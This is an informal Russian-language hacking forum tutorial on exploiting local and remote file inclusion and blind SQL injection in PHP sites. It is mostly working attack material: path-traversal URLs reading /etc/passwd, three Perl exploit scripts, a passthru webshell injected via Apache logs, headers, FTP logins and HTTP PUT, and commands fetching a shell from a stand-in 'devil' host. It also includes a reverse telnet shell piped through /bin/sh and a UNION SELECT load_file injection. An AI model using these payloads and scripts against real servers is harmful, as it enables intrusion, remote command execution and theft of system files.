1.Введение
Всем привет,приступим сразу к делу,сегодня я вам расскажу о уже всем известных SQL,XSS,а также о малоизвестных LFI, RFI, SSI, ICH.Я не буду банально рассказывать вам теорию миллиард первый раз о ксс и скулях,я покажу вам что с ними можно сделать ;)Поехали.

2.LFI/RFI
2.1.Введение
Данный тип атак хорошо известен многим,он заключается в том,что когда система считывает файлы используются "плохие" запрограммированые страницы,которые делают отстук на следующие файлы,требуя включать команды)
Логично,что при таких отстуках необохдимо не инициализировать переменные,вот так:

  Код:   

require($file);
require("includes/".$file);
require("languages/".$lang.".php");
require("themes/".$tema."/config.php");

Методов проексплоить его дохрена поэтому сразу привожу примеры:

Type of call:

  Код:   

require($file);

Exploit:

  Код:   

http://host/?file=/etc/passwd

Type of call:

  Код:   

require("includes/".$file);

Exploit:

  Код:   

http://host/?file=../../../../../etc/passwd

Type of call:

  Код:   

require("languages/".$lang.".php");
require("themes/".$theme."/config.php");

Exploit:

  Код:   

http://host/?file=../../../../../etc/passwd%00

Type of call:

  Код:   

require("languages/".$_COOKIE['lang'].".php");

Exploit:

  Код:   

javascript:document.cookie = "lan=../../../../../etc/passwd%00";

А вот этот скрипт поможет вам заекспить данную багу через Post или Get запросы:

  Код:   

#! /usr/bin/perl

# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
# URL: http://site.com/index.php
# Variable: var
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php var GET\n";
print "\tex: perl $0 http://site.com/index.php var POST\n\n";
exit 1;
}

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

while () {
print "file to edit: ";
chomp($file=<STDIN>);

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../..".$file."%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../".$file."%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
print $result;
}
else { print "Error\n"; }
}

2.2.Выполнение команды удаленно
Этот тип уязвимости возможен для любой системы,где файлы доступны пользователю для чтения,но можно и выполнять некоторые системные команды.
Для этого нам нужно написать в любом файле этот код:

  Код:   

<? passthru ($ _GET [CMD])?>

СMD-это имя нашей переменной для отправки данных через GET

Теперь ищем место где можно записать данные,это можно осуществить несколькими способами:

2.2.1 Иньекции в PHP кодах в логах Apache
Мы знаем, что Apache сервер сохраняет логи всех операций, в access_log и
error_log.Мы можем играть с зареганами данными и использовать пхп коды.
Например, чтобы поместить в error_log файл достаточно сделать вызов
несуществующей страницы,но отправку кода осуществляем в файл:

  Код:   

http://host/xxxxxxx = <? passthru (\ $ _GET [CMD])?>

Это добавит строку в error_log,и нам останется загрузить файл таким же способом как мы делали до этого и отправить через цмд команды для исполнения:
http://host/?file=../../../var/apache/error_log&cmd=ls /etc

  Код:   

http://host/?file=../../../var/apach..._log&cmd=uname -a

Теперь остается узнать когад мы можем трогать логи апача,а зависит это от операционной системи и админа)Один из вариантов заключается в поиске типичных дерикторий где хранятся логи:

  Код:   

/var/log/apache/
/var/log/httpd/
/usr/local/apache/logs/
......

В общем на серве мы видим:

  Код:   

/path/host.com/www
/logs
/data

В этом случае мутим путь файла для несуществующей директории:
http://host/?file=xxxx

И на экране в этом случае увидим:

Инуитивно понятно,что логи в:
/var/www/host.com/logs

Другой вариант,это в файле httpd.conf посмотреть :
ErrorLog /var/log/apache/error.log

Или вот так в шаровом:
ErrorLog /home/chs/host.com/home/logs/error_log

Но как я писал жто зависит от ОС и версии Апача...

Также можно обнаружить логи апача в проц.таблице:
/proc/{PID}/fd/{FD_ID} (только на некоторых системах так канает)

и юзаем этот скрипт:

  Код:   

#! /usr/bin/perl

# perl script to serach apache logs path
# Example:
# URL: http://site/index.php
# Variable: file
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php file GET\n";
print "\tex: perl $0 http://site.com/index.php file POST\n\n";
exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/stat%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, " ", 0);
$pid = substr($result, 0, $x);

print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/status%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/status%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, "FDSize",0)+8;
$fdsize = substr($result, $x, 3);

print "FD_SIZE: ".$fdsize."\n";
}

for ($cont = 0; $cont < $fdsize; $cont++) {
$file = "../../../../proc/".$pid."/fd/".$cont;
open FILE, $file;

while(<FILE>) {
if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
print "FD: ".$cont."\n";
exit;
}
}
}

результат будет примерно таким:

  Код:   

pepelux:~$ perl proc.pl http://host/index.php page GET
Apache PID: 4191
FD_SIZE: 64
FD: 2

Также можно использовать иньекции через урл,который не возвращает к ошибке:
http://host/index.php?x = <? passthru (\ $ _GET [CMD])?>

ПОможет нам этот скрипт:

  Код:   

#! /usr/bin/perl

# perl script to inject a CMD in a web LFI vulnerable
# Example:
# Host: http://host.com
# type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $type) = @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";

unless($ARGV[1]) {
print "Usage: perl $0 <url> [URI|UAG|REF]\n";
print "\tURI: URI\n";
print "\tUAG: User-Agent\n";
print "\tREF: Referer\n\n";
print "\tex: perl $0 http://host.com URI\n";
exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");

if ($type =~ /REF/) { $req->referer($code); }

$res = $ua->request($req);

Ввод в error_log для направления в несуществующий урл:

  Код:   

pepelux:~$ perl cmd.pl http://host.com/blabla URI

В error_log мы видим:

  Код:   

[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla

Попытка с User-Agent:

  Код:   

pepelux:~$ perl cmd.pl http://host.com/blabla UAG

В error_log мы видим одно и то же:

  Код:   

[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla

Попытки со ссылками:

  Код:   

pepelux:~$ perl cmd.pl http://host.com/blabla REF

В этом случае мы получим результат иньекции:

  Код:   

[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
?>

Теперь мы собираемся написать в access_log более менее "весомуб инфу"(чтоб не запалили)

  Код:   

pepelux:~$ perl cmd.pl http://host.com/index.php URI

В этом случае мы получим:

  Код:   

11.22.33.44 - - [08/Oct/2008:12:57:39  0200] "POST
/index.php/<? passthru($_GET[cmd]) ?> HTTP/1.1" 301 - "-"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
Firefox/3.0.1"

Попытка с User-Agent:

  Код:   

pepelux:~$ perl cmd.pl http://host.com/index.php UAG

Иньекция:

  Код:   

11.22.33.44 - - [08/Oct/2008:13:00:05  0200] "POST
/index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"

Попытки со ссылками:

  Код:   

pepelux:~$ perl cmd.pl http://host.com/index.php REF

Мы также получим инъекцию:

  Код:   

11.22.33.44 - - [08/Oct/2008:13:00:56  0200] "POST
/index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"

2.2.2.Внедрение иньекционных PHP кодов в процессорную таблицу,изображения и сессии

Суть заключается в том,что я отправляю через User-Agent файл http://host/?file=../../../proc/self/environ&cmd=uname - .Впринципе это все для проц.таблы
Насчет изображений,мутим в файл
  Код:   

<? passthru ($ _GET [CMD])?>

и осуществеление этого способа будет ЛФИ все для того же http://host/?file=path/avatar.gif&cmd=uname -

Уязвимый код в сессии:

  Код:   

<?php
$user = $_GET['user'];
session_register("user");
session_start();
?>

Как мы видим, она создает сессию с помощью переменной величины, полученной путем GET
без каких-либо проверок.

Мы можем направить:
  Код:   

http://host/?user = <? passthru ($ _GET [CMD])?>

И при просмотре Cookies нашего штурмана мы можем видеть, что:
PHPSESSID = b25ca6fea480073cf8eb840b203d343e

Анализ сессии папки мы можем видеть содержимое:

  Код:   

pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
user

2.2.3.Внедрение кода в другие файлы

Обычно мы не имеем прав для загрузки чего-либо в другие файлы,но у нас же есть ФТП логи:

  Код:   

pepelux:~$ ftp host.com
220 ProFTPD 1.3.1 Server (Debian) [host.com]
Name (pepelux): <? passthru($_GET[cmd]) ?>
Password:

Если мы посмотрим на /var/log/proftpd/proftpd.log мы увидим,что наш код ввиден:

  Код:   

Oct 09 21:50:21 host.com proftpd[11190] host.com
([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
from [11.22.33.44] to host.com:21

Если уязвимые сервера используют старую версию Webalizer, мы также можем использовать файл usage_DATE.html для внедрение кода:

  Код:   

Referer: <? passthru($_GET[cmd]) ?>

В случае, если сервер Apache допускает PUT команды мы также можем загрузить файл
с нашим кодом:

  Код:   

pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
OPTIONS / HTTP/1.1

  Код:   

HTTP/1.1 200 OK
Date: Sat, 11 Oct 2008 15:06:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory

Connection closed by foreign host.

Иньекция:

  Код:   

pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
PUT /file.txt HTTP/1.1
Content-Type: text/plain
Content-Length:26

<? passthru($_GET[cmd]) ?>

2.3.Загрузка шелла

Если мы сможем выполнять команды удаленно мы можем попытаться загрузить шелл чтоб иметь больший доступ к системе.
Одним из методов является создание основой шелла.Мы можем загружать его с помощью Wget команды:

  Код:   

http://host/?file=xxxx&cmd=wget http://devil/shell.txt-O shell.php

Поскольку мы не можем загрузить файл на PHP мы можем замутит в тхт а потом переиминовать)
Мы также можем попытаться сделать обратный Telnet:

  Код:   

pepelux:~$ nc -vv -l -p 8888
pepelux:~$ nc -vv -l -p 8889

http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889

Если allow_url_include в php.ini, мы можем юзать шелл напрямую.Метод известен:
Загружаем через Гет или Пост шелл:

  Код:   

http://host/?file=http://devil.com/shell.txt
http://host/?file=http://devil.com/shell.txt%00

3Blind SQL-инъекции
Перейду сразу к практите,так как об этих уязвимостях я уже писал в http://forum.xaknet.ru/thread5614.html

И так,Если стоит разрешение на load_file мы можем прочитать некие системные файлы
/etc/passwd

Пример:

Уязвимый код:

  Код:   

<?php
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);

echo "User mail is:" . $row["mail"] . "\n";
?>

Мы незнаем колчиство столбцов и полей,но мы знаем,верное значение http://host/?id=2
Мы пытаемся изменить результаты запроса в SQL-инъекции:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error

Изменяя подзапросы мы подбираем 4 колонки(дело техники):
http://host/?id=-1 UNION SELECT 1,2,3,4

Высылаем соответственно:
http://host/?id=2 UNION SELECT 1,2,3,4

Мы получаем:

Поскольку это первый ряд мы увидм:
User mail is: pepelux@host
Если мы ставим ID =- 1 мы будем получать данные:

Отправялем:
http://host/?id=-1 UNION SELECT 1,2,3,4

Получаем:

На экране мы видим User mail is: 4
Мы можем использовать 4-ую колонку для иньекции:
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
Вобщем что тут разжоыввать,дело техники,писалось об этом неоднакратно и много
ВОбщем конкретно надоело уже писать,всем удачи)))рекомендую к прочтению:
- http://www.g-brain.net/tutorials/loc...inclusions.txt
- http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
- http://www.securityfocus.com/bid/3473
- http://dev.mysql.com/doc/

(с)baltazar
-------------------------